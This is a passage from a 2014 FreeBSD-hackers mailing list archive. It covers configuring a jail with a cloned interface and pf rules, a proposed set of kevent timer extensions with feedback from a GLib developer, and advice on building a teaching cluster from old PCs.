ICAgIGV4dF9pZj0id2xhbjAiCiAgICBqYWlsX2lmPSJsbzEiCgogICAgCiAgICBJUF9KQUlMX1dX Vz0iMTI3LjEuMi43IgoKICAgIE5FVF9KQUlMPSIxMjcuMS4yLjcvMzIiCgogICAgUE9SVF9XV1c9 Ins4MH0iCgogICAgc2NydWIgaW4gYWxsCgogICAgIyBuYXQgYWxsIGphaWwgdHJhZmZpYwogICAg bmF0IHBhc3Mgb24gJGV4dF9pZiBmcm9tICRORVRfSkFJTCB0byBhbnkgLT4gJElQX1BVQgoKICAg ICMgV1dXCiAgICByZHIgcGFzcyBvbiAkZXh0X2lmIHByb3RvIHRjcCBmcm9tIGFueSB0byAkSVBf UFVCIHBvcnQgJFBPUlRfV1dXIC0+ICRJUF9KQUlMX1dXVwoKICAgICMgZGVtbyBvbmx5LCBwYXNz aW5nIGFsbCB0cmFmZmljCiAgICBwYXNzIG91dAogICAgcGFzcyBpbgo= --001a11c33676f5d66a04f43313c9 Content-Type: application/octet-stream; name=jail_quick_start Content-Disposition: attachment; filename=jail_quick_start Content-Transfer-Encoding: base64 X-Attachment-Id: f_hsl2amuq1 IyEvYmluL3NoCmlmY29uZmlnIGxvMSBjcmVhdGUgJiYgaWZjb25maWcgbG8xIDEyNy4xLjIuNy8z MiBhbGlhcyAmJiBqYWlsIC1jIC9qYWlscy9GcmVlQlNELUdvb2dsZV9wcm9qZWN0cyBtb3VudC5k ZXZmcyBob3N0Lmhvc3RuYW1lPXdlZWJ5IGlwNC5hZGRyPTEyNy4xLjIuNyBjb21tYW5kPS9iaW4v c2g= --001a11c33676f5d66a04f43313c9-- From owner-freebsd-hackers@FreeBSD.ORG Sun Mar 9 21:56:19 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 1B24A891; Sun, 9 Mar 2014 21:56:19 +0000 (UTC) Received: from mail-oa0-x22b.google.com (mail-oa0-x22b.google.com [IPv6:2607:f8b0:4003:c02::22b]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id C22C8A67; Sun, 9 Mar 2014 21:56:18 +0000 (UTC) Received: by mail-oa0-f43.google.com with SMTP id g12so6340504oah.2 for ; Sun, 09 Mar 2014 14:56:18 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=CMTxF5v0lv42OQW3Y1kN4ZXXqL89oRWqs2u97OeD0M0=; b=T45BNiaJPi8FyjLjwW4Nhvwa85DOjaFftvCWB/UEvJL4fIhBO0qqC1lNwcZlgciYCR TD4NB8T5q0SX+iUgB56tFwkz6glEVasv39X331x9qsJBNYGkOykTm5ojyd7x/V1qDZyQ l7NqdLsDwuQ1PXZYbJqVFQPjVDqfiUnohD6wD8mjbZHQrJWkzbodGD/o98cVmyiUStru ILoE9ybceNfvE3AQ/nq/wfT+HB8FvILt3wKe/mWTAwjl/aU2qDzLdo/Li2v/QYoCdIbi sW+jUSLXnRLO2h61e+4MLlowTfNumkanpZshgbG2VKTMIRHmQN2L45Vm3fUc/rT8wVlu F9GQ== MIME-Version: 1.0 X-Received: by 10.183.24.161 with SMTP id ij1mr25803827obd.33.1394402178184; Sun, 09 Mar 2014 14:56:18 -0700 (PDT) Received: by 10.182.76.201 with HTTP; Sun, 9 Mar 2014 14:56:18 -0700 (PDT) In-Reply-To: References: <53181410.1030107@freebsd.org> <5318B836.7040301@grosbein.net> <19cd01cf3974$dffa5bf0$9fef13d0$@FreeBSD.org> <1a1801cf39d4$1155a830$3400f890$@FreeBSD.org> Date: Sun, 9 Mar 2014 17:56:18 -0400 Message-ID: Subject: Re: How do I create a cloned interface when there is no static connection? From: Joe Nosay To: Devin Teske Content-Type: text/plain; charset=ISO-8859-1 X-Content-Filtered-By: Mailman/MimeDel 2.1.17 Cc: FreeBSD Hackers , Eugene Grosbein X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 09 Mar 2014 21:56:19 -0000 On Sun, Mar 9, 2014 at 5:22 PM, Joe Nosay wrote: > > > > On Sat, Mar 8, 2014 at 11:31 AM, Joe Nosay wrote: > >> >> >> >> On Fri, Mar 7, 2014 at 10:52 PM, Joe Nosay wrote: >> >>> >>> >>> >>> On Fri, Mar 7, 2014 at 10:37 PM, Joe Nosay wrote: >>> >>>> >>>> >>>> On Fri, Mar 7, 2014 at 10:00 PM, Joe Nosay wrote: >>>> >>>>> >>>>> >>>>> >>>>> On Fri, Mar 7, 2014 at 2:08 AM, wrote: >>>>> >>>>>> >>>>>> >>>>>> > -----Original Message----- >>>>>> > From: Joe Nosay [mailto:superbisquit@gmail.com] >>>>>> > Sent: Thursday, March 6, 2014 6:52 PM >>>>>> > To: Devin Teske >>>>>> > Cc: FreeBSD Hackers; Eugene Grosbein >>>>>> > Subject: Re: How do I create a cloned interface when there is no >>>>>> static >>>>>> > connection? >>>>>> > >>>>>> > On Thu, Mar 6, 2014 at 2:47 PM, wrote: >>>>>> > >>>>>> > > >>>>>> > > >>>>>> > > > -----Original Message----- >>>>>> > > > From: Eugene Grosbein [mailto:eugen@grosbein.net] >>>>>> > > > Sent: Thursday, March 6, 2014 10:03 AM >>>>>> > > > To: Joe Nosay >>>>>> > > > Cc: FreeBSD Hackers >>>>>> > > > Subject: Re: How do I create a cloned interface when there is no >>>>>> > > > static connection? >>>>>> > > > >>>>>> > > > On 07.03.2014 00:39, Joe Nosay wrote: >>>>>> > > > >>>>>> > > > > I'll need a dummy interface inside of the that can be >>>>>> bridged to >>>>>> > > > > wlan0 outside of the jail. Normal jail with aliases. >>>>>> > > > >>>>>> > > > Try epair(4) and give one part of pair to jail and bridge >>>>>> another >>>>>> > > > part >>>>>> > > with >>>>>> > > > wlan0. >>>>>> > > > >>>>>> > > >>>>>> > > Never tried bridging a wlan with netgraph, but I wonder if the >>>>>> method >>>>>> > > I use for bridging Ethernet with netgraph would work... >>>>>> > > >>>>>> > > Using the ngctl command to create an ng_bridge and then multiple >>>>>> > > ng_eiface devices that you can be shoved into the jail. >>>>>> > > >>>>>> > > kldload ng_ether >>>>>> > > kldload ng_bridge >>>>>> > > kldload ng_eiface >>>>>> > > ngctl >>>>>> > > + mkpeer {IFACE}: bridge lower link0 >>>>>> > > + connect {IFACE}: {IFACE}:lower upper link1 >>>>>> > > + name {IFACE}:lower {IFACE}bridge >>>>>> > > + quit >>>>>> > > ifconifg {IFACE} up >>>>>> > > ngctl >>>>>> > > + msg {IFACE}: setpromisc 1 >>>>>> > > + msg {IFACE}: setautosrc 0 >>>>>> > > + mkpeer {IFACE}:lower eiface link{N} ether >>>>>> > > + name {IFACE}bridge:link{N} >>>>>> > > + show -n {IFACE}bridge: >>>>>> > > Name: ngeth0 Type: eiface ID: XXXXXXXX >>>>>> Num >>>>>> > > hooks: N >>>>>> > > + name {IFACE}bridge:link{N} {NEWIFACE} >>>>>> > > ifconfig ngeth0 name {NEWNAME} >>>>>> > > ifconfig {NEWNAME} vnet {JID} >>>>>> > > >>>>>> > > Taking care to replace the following from above: >>>>>> > > {IFACE} - the name of the interface you want to bridge (eg, em0) >>>>>> {N} - >>>>>> > > link number (starts at 2; increments by-one for each new eiface) >>>>>> > > {NEWIFACE} - the name of the new eiface (ngethN) device to create >>>>>> > > {JID} - the jail ID of the jail you want to shove the interface >>>>>> into >>>>>> > > >>>>>> > > Of course, never tried this with WiFi. >>>>>> > >>>>>> > I did not properly create the jail.conf script. I believe the file >>>>>> of >>>>>> /etc/rc.d/jail >>>>>> > should be followed; yet, there is no tutorial on setting it up. >>>>>> > My /etc/rc.conf file is also improperly setup. How? I don't know; >>>>>> but, I >>>>>> can tell >>>>>> > because the system will not boot completely and ctrl+C must be hit >>>>>> to >>>>>> allow >>>>>> > logging in. >>>>>> >>>>>> What release are you using? "uname -spr" is often succinct enough. >>>>>> -- >>>>>> Devin >>>>>> >>>>>> _____________ >>>>>> The information contained in this message is proprietary and/or >>>>>> confidential. If you are not the intended recipient, please: (i) delete the >>>>>> message and all copies; (ii) do not disclose, distribute or use the message >>>>>> in any manner; and (iii) notify the sender immediately. In addition, please >>>>>> be aware that any message addressed to our domain is subject to archiving >>>>>> and review by persons other than the intended recipient. Thank you. >>>>>> >>>>> >>>>> >>>>> FreeBSD 10.0-RELEASE amd64 >>>>> The /etc/rc.d/jail script is interpreting the name at -G in >>>>> FreeBSD-Google_projects to be a command line option. I am going to see what >>>>> happens if I just change the name. >>>>> >>>> >>>> >>>> Ok. >>>> The jail.conf is in /etc, the name is without hypens or undescores, and >>>> the script dies with "/etc/rc no such file or directory" from jail.conf. >>>> There is a /etc/rc but I know that jail exists in /etc/rc.d? >>>> Wait a sec. >>>> >>> >>> >>> Okay. >>> Herein lies the problem: I used /bin/sh plus location of jail plus the >>> command to start and stop. The system does not seem to be able to find the >>> script. I have not ran /usr/libexec/locate.updatedb yet. That may help, I >>> don't know. >>> Hold a sec, let me test. >>> >>> exec.start = "/bin/sh /etc/rc.d/jail jail_start"; >>> exec.stop = "/bin/sh /etc/rc.d/jail jail_stop"; >>> >>> >>> >>> >> >> I have the start and stop commands incorrectly set up. Do I need the >> commands or are they automatic? >> > > > Attached is the pf.conf and the script for cloning lo0 while starting the > jail. > "jail -c /jails/FreeBSD-Google_projects" is an unknown parameter. > > As you can tell, I am trying to solve the problem. Am I doing it right or > wrong? I am not able to tell so I need someone to tell me. > Something is wrong, I know. What did I do wrong here? > > Why do I feel like all of you are mocking me and laughing at me? > > > I have to step back from all of this. I am doing these things while homeless and struggling. From owner-freebsd-hackers@FreeBSD.ORG Mon Mar 10 13:16:38 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 5EC59A78 for ; Mon, 10 Mar 2014 13:16:38 +0000 (UTC) Received: from mail-we0-x22c.google.com (mail-we0-x22c.google.com [IPv6:2a00:1450:400c:c03::22c]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id EB3ED8AC for ; Mon, 10 Mar 2014 13:16:37 +0000 (UTC) Received: by mail-we0-f172.google.com with SMTP id t61so8710615wes.17 for ; Mon, 10 Mar 2014 06:16:36 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=sender:date:from:to:cc:subject:message-id:mime-version:content-type :content-disposition:user-agent; bh=oyKLq3MROQBmroZFGMS96ORYs1nqjNIkDPRUD6J4Qy8=; b=xJLwB8wfQtW4Vz6eeoAbgrzAlKtBa+MDHPJlbs8+s3PirU7PCEF0jCQ5rC/5Ul/64d s/55doZ/VNn3AeJrk66pSJtJsF6uNeFr3WxE5ugKOe0lZVjgH3CIElPvseIo3XdEN6xv A5w+DsMLBkLK6ChVzxkeoE1YvKLgp1tFMERaW+5QFI5vD1DXCjCJqOM1TsPQL2SRs0Pw 4pvTMVkM/Erf48EjkA27/P9R9x7N/POF1AgcBkqT7X3PG5dEfezBz70J71ahRpxtsCfi cSjwiLp4FRYaZynlNWK/DNtFWv+IVYG/t81UWu9h9cb2JCM25KRkDsM1RTKw/uaARSpJ 7ckw== X-Received: by 10.194.187.50 with SMTP id fp18mr70284wjc.89.1394457396357; Mon, 10 Mar 2014 06:16:36 -0700 (PDT) Received: from ithaqua.etoilebsd.net (ithaqua.etoilebsd.net. [37.59.37.188]) by mx.google.com with ESMTPSA id d6sm12539028wiz.4.2014.03.10.06.16.34 for (version=TLSv1 cipher=RC4-SHA bits=128/128); Mon, 10 Mar 2014 06:16:35 -0700 (PDT) Sender: Baptiste Daroussin Date: Mon, 10 Mar 2014 14:16:33 +0100 From: Baptiste Daroussin To: hackers@FreeBSD.org Subject: [CFR] Kevent timer improvements Message-ID: <20140310131632.GI6900@ithaqua.etoilebsd.net> MIME-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="uJWb33pM2TcUAXIl" Content-Disposition: inline User-Agent: Mutt/1.5.21 (2010-09-15) Cc: desrt@desrt.ca X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 10 Mar 2014 13:16:38 -0000 --uJWb33pM2TcUAXIl Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Hi all, A glib developer pointed me to some of the improvements Apple has done on kqueue(2), some of those improvements are used or will be used by glib in the near futur, plus add new one. I decided to implement part of it and here is the first patch about it: http://people.freebsd.org/~bapt/kevent.diff I will update the manpages accordingly as well: Basically this patch added the following to the EVFILT_TIMER: NOTE_SECONDS data is in seconds NOTE_USECONDS data is in microseconds NOTE_NSECONDS data is in nanoseconds It also added a NOTE_MONOTONIC which consider the data as an absolute time since the boot. (It is different from NOTE_ABSOLUTE extension from apple, so I decided to use NOTE_MONOTONIC to avoid collision). Note that NOTE_MONOTONIC is right only valid as EV_ONESHOT as the is the behaviour that make sense to me concerning this kind of event, should it be different? in that case what behaviour would be expected here? I do plan to add kevent64 support compatible with apple implementation later, as using NOTE_MONOTONIC without 64bit support is not useful very long :) Please keep Ryan in CC I don't think he is subcribed to that least and he is the one from glib project asking for those improvements. regards, Bapt --uJWb33pM2TcUAXIl Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v1 iEUEARECAAYFAlMduzAACgkQ8kTtMUmk6EyAxACXdvQo8c5rOzznirJL+qGuu7In vACgmnQ/db4THqo/GFtzDHGThnR6gUE= =cBNm -----END PGP SIGNATURE----- --uJWb33pM2TcUAXIl-- From owner-freebsd-hackers@FreeBSD.ORG Mon Mar 10 13:44:37 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id D3FED656 for ; Mon, 10 Mar 2014 13:44:37 +0000 (UTC) Received: from mail-la0-x22b.google.com (mail-la0-x22b.google.com [IPv6:2a00:1450:4010:c03::22b]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 6173EB1D for ; Mon, 10 Mar 2014 13:44:37 +0000 (UTC) Received: by mail-la0-f43.google.com with SMTP id e16so4614075lan.2 for ; Mon, 10 Mar 2014 06:44:35 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:date:message-id:subject:from:to:content-type; bh=XEb8F8HUjYMQE1eAAJgQ5nisWXrgJcApzJ5xOSWAsd4=; b=LzyNg4nKpRyyZv/lBTrnVw5t3PeZiB812nvHFHPieh/Xy1bGWUEqFvH8Y6XILmVd7N 6au4A3vUeqzwzAp3ifYxpGXjUoom5+WZzkFBDvHtNaz74BPnZkkES9GjawV+VmId4YOQ nNnuqCWHPQXNaiHbwTcmCcJA0r9TMHV/XDA9+9fb+BUUSdkKkwnJ3hdge/r6bTPmt0B9 IGdzH1cl8WdxcRLTAL7JbFTCvPhr5Lax+5BDLwHyK/35asDoMLS8ZrmnA47ZaAiJ020L PtlXxHgmhFq8iNjzBWJcvJOGUBzzRdoOTUQMCjoWrxfrVhK1HY1nUikvph5ttGVAcvQf 9Swg== MIME-Version: 1.0 X-Received: by 10.152.116.43 with SMTP id jt11mr1611254lab.41.1394459075466; Mon, 10 Mar 2014 06:44:35 -0700 (PDT) Received: by 10.114.67.80 with HTTP; Mon, 10 Mar 2014 06:44:35 -0700 (PDT) Date: Mon, 10 Mar 2014 09:44:35 -0400 Message-ID: Subject: Setting up a UNIX cluster From: Brian Kim To: "freebsd-hackers@freebsd.org" Content-Type: text/plain; charset=ISO-8859-1 X-Content-Filtered-By: Mailman/MimeDel 2.1.17 X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 10 Mar 2014 13:44:38 -0000 Dear friends, I am currently a teaching assistant for a freshman programming course at Villanova University. Gloriously enough, we are teaching the C language. The majority of the students have not had any previous experience in programming so the extent of their computing knowledge is limited to the grotesque Windows operating system that they have grown up with. Therefore, before any discussion of programming begins, I want the students to be familiarized with the UNIX environment so that they can gcc all their code and not have to be chained down to IDE's. In order to accomplish this, I have amassed a number of old Dell computers that the department has long abandoned and I wish to set up a computer cluster running FreeBSD. I personally do not have any experience in setting up clusters and was hoping to request any instructional advice in this regard. I have come across this paper ( http://people.freebsd.org/~brooks/papers/bsdcon2003/fbsdcluster.pdf) that describes the process of setting up a BSD cluster with 300 nodes but I found the language to be somewhat dense. There is also the fact that I do not have any specialized hardware other than a bunch of old computers. Assuming that I have a network switch, could anyone help me out with a starting point? Thanks! -- Best Wishes, Brian Kim From owner-freebsd-hackers@FreeBSD.ORG Mon Mar 10 14:29:07 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 7ACEE811 for ; Mon, 10 Mar 2014 14:29:07 +0000 (UTC) Received: from mail.rlwinm.de (mail.rlwinm.de [IPv6:2a01:4f8:140:72e1::ac16:e45e]) by mx1.freebsd.org (Postfix) with ESMTP id 4058BF11 for ; Mon, 10 Mar 2014 14:29:07 +0000 (UTC) Received: from hexe.rlwinm.de (p54BC4096.dip0.t-ipconnect.de [84.188.64.150]) (using TLSv1 with cipher ECDHE-RSA-AES128-SHA (128/128 bits)) (No client certificate requested) by mail.rlwinm.de (Postfix) with ESMTPSA id 5EFC1BBEB for ; Mon, 10 Mar 2014 14:29:05 +0000 (UTC) Message-ID: <531DCC30.7050505@rlwinm.de> Date: Mon, 10 Mar 2014 15:29:04 +0100 From: Jan Bramkamp User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:24.0) Gecko/20100101 Thunderbird/24.3.0 MIME-Version: 1.0 To: freebsd-hackers@freebsd.org Subject: Re: Setting up a UNIX cluster References: In-Reply-To: X-Enigmail-Version: 1.6 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 10 Mar 2014 14:29:07 -0000 On 10.03.2014 14:44, Brian Kim wrote: > Dear friends, > > I am currently a teaching assistant for a freshman programming course at > Villanova University. Gloriously enough, we are teaching the C language. > The majority of the students have not had any previous experience in > programming so the extent of their computing knowledge is limited to the > grotesque Windows operating system that they have grown up with. Therefore, > before any discussion of programming begins, I want the students to be > familiarized with the UNIX environment so that they can gcc all their code > and not have to be chained down to IDE's. > In order to accomplish this, I have amassed a number of old Dell computers > that the department has long abandoned and I wish to set up a computer > cluster running FreeBSD. I personally do not have any experience in setting > up clusters and was hoping to request any instructional advice in this > regard. > I have come across this paper ( > http://people.freebsd.org/~brooks/papers/bsdcon2003/fbsdcluster.pdf) that > describes the process of setting up a BSD cluster with 300 nodes but I > found the language to be somewhat dense. There is also the fact that I do > not have any specialized hardware other than a bunch of old computers. > Assuming that I have a network switch, could anyone help me out with a > starting point? 1. Configure a test system to boot from PXE. 2. Build a PXE boot environment for the test system with DHCP, TFTP and NFS. 3. Build a generic PXE boot image your systems. 4. Decide how to administer the cluster. I can recommend ansible. From owner-freebsd-hackers@FreeBSD.ORG Mon Mar 10 14:42:53 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 254EF20E for ; Mon, 10 Mar 2014 14:42:53 +0000 (UTC) Received: from mail-qc0-x231.google.com (mail-qc0-x231.google.com [IPv6:2607:f8b0:400d:c01::231]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id D6163149 for ; Mon, 10 Mar 2014 14:42:52 +0000 (UTC) Received: by mail-qc0-f177.google.com with SMTP id w7so7666000qcr.22 for ; Mon, 10 Mar 2014 07:42:52 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=references:mime-version:in-reply-to:content-type :content-transfer-encoding:message-id:cc:from:subject:date:to; bh=prIrnYLl5BSfMoInPI4cUE3YcgMAMn7KtiAGm7ooGLY=; b=nxMkTvb69EbUla30tZU7o9yQ55Y6sVtEjRIIB8E2sBJyEK/2t5ZQZKI6A4jl6dmno4 udIwSuFhAzWbLthYkm87fjrezxphuEmVDLlbpb0WojVc9hmk29hhdHqO63yHd+FthHJr nwhKe5NN3SXMewXhSxpyg/XalvhEK7fgATN1Lq2GglXNiWQj5p24SmgJs277siAjUltl sKhQCW58fI+LvAZGM9SrTSkDvXqvRLUdWMibLk0Q9cubHn9uFx3S6YnRtxa1wu9iyBMG ncta456T3MywLUFilfaFwZ8yzpMqvNB+BTuFwXP5cHFFfGLskjLoJuuCK8Ox65knyWsz 3TQA== X-Received: by 10.224.137.5 with SMTP id u5mr41800412qat.12.1394462572044; Mon, 10 Mar 2014 07:42:52 -0700 (PDT) Received: from [153.104.56.59] ([153.104.56.59]) by mx.google.com with ESMTPSA id x8sm53775347qam.20.2014.03.10.07.42.49 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Mon, 10 Mar 2014 07:42:50 -0700 (PDT) References: <531DCC30.7050505@rlwinm.de> Mime-Version: 1.0 (1.0) In-Reply-To: <531DCC30.7050505@rlwinm.de> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: quoted-printable Message-Id: X-Mailer: iPhone Mail (11B651) From: Brian Kim Subject: Re: Setting up a UNIX cluster Date: Mon, 10 Mar 2014 10:42:50 -0400 To: Jan Bramkamp Cc: "freebsd-hackers@freebsd.org" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 10 Mar 2014 14:42:53 -0000 Dear Jan and Mickey, Thank you both for your beautifully prompt and succinct responses. They have= thoroughly answered the various facets of my inquiry... @mickey: thanks for the cgynus suggestion. Never even considered the option.= .. Best, bk Best, bk > On Mar 10, 2014, at 10:29 AM, Jan Bramkamp wrote: >=20 >> On 10.03.2014 14:44, Brian Kim wrote: >> Dear friends, >>=20 >> I am currently a teaching assistant for a freshman programming course at >> Villanova University. Gloriously enough, we are teaching the C language. >> The majority of the students have not had any previous experience in >> programming so the extent of their computing knowledge is limited to the >> grotesque Windows operating system that they have grown up with. Therefor= e, >> before any discussion of programming begins, I want the students to be >> familiarized with the UNIX environment so that they can gcc all their cod= e >> and not have to be chained down to IDE's. >> In order to accomplish this, I have amassed a number of old Dell computer= s >> that the department has long abandoned and I wish to set up a computer >> cluster running FreeBSD. I personally do not have any experience in setti= ng >> up clusters and was hoping to request any instructional advice in this >> regard. >> I have come across this paper ( >> http://people.freebsd.org/~brooks/papers/bsdcon2003/fbsdcluster.pdf) that= >> describes the process of setting up a BSD cluster with 300 nodes but I >> found the language to be somewhat dense. There is also the fact that I do= >> not have any specialized hardware other than a bunch of old computers. >> Assuming that I have a network switch, could anyone help me out with a >> starting point? >=20 > 1. Configure a test system to boot from PXE. > 2. Build a PXE boot environment for the test system with DHCP, TFTP and NFS= . > 3. Build a generic PXE boot image your systems. > 4. Decide how to administer the cluster. I can recommend ansible. > _______________________________________________ > freebsd-hackers@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-hackers > To unsubscribe, send any mail to "freebsd-hackers-unsubscribe@freebsd.org"= From owner-freebsd-hackers@FreeBSD.ORG Mon Mar 10 14:28:53 2014 Return-Path: Delivered-To: hackers@FreeBSD.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id D88837FF; Mon, 10 Mar 2014 14:28:53 +0000 (UTC) Received: from out3-smtp.messagingengine.com (out3-smtp.messagingengine.com [66.111.4.27]) (using TLSv1.2 with cipher AECDH-AES256-SHA (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 30AB4F09; Mon, 10 Mar 2014 14:28:53 +0000 (UTC) Received: from compute5.internal (compute5.nyi.mail.srv.osa [10.202.2.45]) by gateway1.nyi.mail.srv.osa (Postfix) with ESMTP id AD00B20C92; Mon, 10 Mar 2014 10:28:50 -0400 (EDT) Received: from web3 ([10.202.2.213]) by compute5.internal (MEProxy); Mon, 10 Mar 2014 10:28:50 -0400 DKIM-Signature: v=1; a=rsa-sha1; c=relaxed/relaxed; d= messagingengine.com; h=message-id:from:to:mime-version :content-transfer-encoding:content-type:subject:date:in-reply-to :references; s=smtpout; bh=PxDOxIc64v0vhXHnmHCRJ9BioIY=; b=PLg3W UKEKGI7vHMR2A8UuTWx2QybhGPPQhswZxOtUyiyDnUvDkykBX3qnpCvvJCdobk17 2I/isgCugPGWCuZlSAZVIqh4Ed2ntjlDcWcCQcyOwjsnNGB6UvJfOARThGjDUD7A BwYTS7shwlv/Tf/Rzn+xSpjhi+PWHkv193lpQ4= Received: by web3.nyi.mail.srv.osa (Postfix, from userid 99) id 85D3810D6D7; Mon, 10 Mar 2014 10:28:50 -0400 (EDT) Message-Id: <1394461730.9823.92673865.45316D77@webmail.messagingengine.com> X-Sasl-Enc: si1u6xBc1hKueoNXIX8fN8PVevTKmBntI6U8uYmUm/Z/ 1394461730 From: Ryan Lortie To: Baptiste Daroussin , hackers@FreeBSD.org MIME-Version: 1.0 Content-Transfer-Encoding: 7bit Content-Type: text/plain X-Mailer: MessagingEngine.com Webmail Interface - ajax-4527a23f Subject: Re: [CFR] Kevent timer improvements Date: Mon, 10 Mar 2014 10:28:50 -0400 In-Reply-To: <20140310131632.GI6900@ithaqua.etoilebsd.net> References: <20140310131632.GI6900@ithaqua.etoilebsd.net> X-Mailman-Approved-At: Mon, 10 Mar 2014 15:26:37 +0000 X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 10 Mar 2014 14:28:53 -0000 hi Baptiste, Thanks for the patch! This helps us a lot and is already a very good fit for the way we manage event times in GLib. On Mon, Mar 10, 2014, at 9:16, Baptiste Daroussin wrote: > Note that NOTE_MONOTONIC is right only valid as EV_ONESHOT as the is the > behaviour that make sense to me concerning this kind of event, should it > be different? in that case what behaviour would be expected here? Speaking somewhat philosophically, it's my opinion that an absolute timer that is past its timeout is something like a pipe or socket that has polled as ready for input, but will never be read. In the case of a timer based on the real clock, the only way to reverse the condition would be to change the clock backwards. For monotonic time, there is no way to reverse the condition. This is distinctly different from periodic timers where the condition can become ready and then "more ready" just by the simple passage of more time. Ideally, I don't believe that we should implicitly add EV_ONESHOT or even EV_CLEAR to the event mask of absolute timer events. Although the user would typically want to do that for themselves, I don't believe that it makes sense to assume that for them -- they should have the choice, just as they do with pipes and sockets. Unfortunately, we are faced with NOTE_ABSOLUTE from Apple, based on real time, which implies EV_ONESHOT. If FreeBSD ever plans to implement NOTE_ABSOLUTE, then having it imply EV_ONESHOT and NOTE_MONOTONIC not imply EV_ONESHOT would be tastelessly inconsistent. There are usecases for timers with level-triggered semantics. In GLib, our main event dispatch mechanism is based on "sources" (GSource). GSource has this API: """ void g_source_set_ready_time (GSource *source, gint64 ready_time); Sets a GSource to be dispatched when the given monotonic time is reached (or passed). If the monotonic time is in the past (as it always will be if ready_time is 0) then the source will be dispatched immediately. If ready_time is -1 then the source is never woken up on the basis of the passage of time. Dispatching the source does not reset the ready time. You should do so yourself, from the source dispatch function. """ So we already have level-triggered time in GLib (ie: the source does not become unready until the ready time is explicitly cleared). The proposed NOTE_MONOTONIC | NOTE_MICROSECONDS corresponds almost exactly to the g_source_set_ready_time() API above, except for the implied EV_ONESHOT clearing the timer. A common request that we get in GLib (not currently implemented, but hopefully soon) is that people want to embed GLib into another mainloop like libev, etc. In order to do this, we want to give them a file descriptor that polls as ready whenever we have work to do (ie: sources to dispatch). It is clear that kqueue() would make a good file descriptor to use for this purpose. If the timer event is automatically cleared from this descriptor after the first report then the file descriptor that we pass for embedding in another loop will no longer poll as ready. A workaround that we use to solve this problem on Mac OS is to create a second kqueue() 